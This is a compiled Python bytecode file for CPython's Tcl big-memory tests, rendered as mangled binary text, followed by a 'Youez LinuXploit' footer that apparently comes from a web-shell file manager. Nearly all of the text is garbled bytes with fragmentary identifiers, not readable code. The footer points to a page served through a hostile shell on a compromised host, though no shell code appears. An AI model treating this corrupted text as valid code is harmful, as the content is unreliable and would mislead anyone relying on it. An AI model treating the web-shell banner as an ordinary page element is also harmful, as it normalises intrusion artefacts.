���G��Grr#c��`�\sQsQsnQs\O\O\	\
6Q2\O\	]*]P
Q5Q222s\O\O\	\
6Q2\O\	]*]P
Q5Q222s
\O\O\	\
6Q2\O\	]*]P
Q5Q222sQsUsP!)	�
BigmemTclTest�
c�&�[2UmP!r%)rr&rs&rr)�BigmemTclTest.setUps���e��rzneeds UINT_MAX < SIZE_MAX)�size�memuse�dry_runc�v�QU*oUO[UOOQQU]2P!)� r�index)r�
OverflowErrorr&r-)rr�r.s&& r�test_huge_string_call�#BigmemTclTest.test_huge_string_calls0���d�
�����-����)9�)9�8�W�e�UV�Wrc��UOOoQQU**oUO[UOU2UO[UO
U2UO[UOU2UO[UOU2UO[UOU2UO[UOU2UO[UOU2UO[UOUQQ2UO[UOQUQ2UO[UOU2UO[UOQU2UO[UOU2UO[UOU2UO[UOU2UO[UOU2UO[UO U2UO[UO"U[$2UO[UO&U2P!)r4r��xrV)r&r'rr�r�r�r�r5r��record�adderrorinfortr�r�r$r*r�r�rVr��rr�r'r.s&&  r�test_huge_string_builtins�'BigmemTclTest.test_huge_string_builtinss����[�[�^�^���c�D�j� �����-����E�:����-����u�=����-�����>����-����%�8����-����e�<����-����E�:����-����%�@����-����E�3��D����-����C���D����-����e�<����-����c�5�A����-����%�@����-�����>����-����e�<����-�����?����-����u�=����-��)9�)9�5�#�F����-��)9�)9�5�Arc��UOOoQQU**oUO[UOU2UO[UO
U2UO[UO
QU2P!)r4r�r�)r&r'rr�r�r�r�s&&  r�test_huge_string_builtins2�(BigmemTclTest.test_huge_string_builtins2/sc��
�[�[�^�^���c�D�j� �����-����e�<����-����e�<����-����c�5�Arr9)rrrrr)rr�r�r�rr	�
bigmemtestr�r�r�rrr s@rr�r�
s�����
���
����>�1�3N�O����W�q�[��E�B�X�C�P��X�
���
����>�1�3N�O����W�q�[��E�B�B�C�P��B�,
���
����>�1�3N�O����W�q�[��E�B�B�C�P��Brr�c	�.�[OQ2oUd:[O[O[
Q[
U222[O%c+[2o[QUOQQ2P	Q5P!P!)r(zpatchlevel =�info�
patchlevel)�flush)r�get_resource_valuer��enterModuleContext�	swap_attrr�r��verboser�printr-)r(r8s  r�setUpModuler�;sj���,�,�]�;�K����#�#����g�}�c�+�6F�G�	I������e��
�n�c�h�h�v�|�<�D�I�r�__main__) r�r�rEr��testr�test.supportrr�
import_modulerr�rr�	_testcapirr	�ImportError�maxsize�tuple�mapr��TCL_VERSION�splitrG�TestCaserr#r�r�r�mainrrr�<module>r�s�����
�	��&�"��&�&�z�2�����+�1��C��X�1�1�7�7��<�=�>��
A�(�#�#�
A�bG�h���bG�J.B�H�%�%�.B�bJ��z���M�M�O���g�+�"�{�{�*�G�n�+�s�C�C-�C-�,C-

Youez - 2016 - github.com/yon3zu
LinuXploit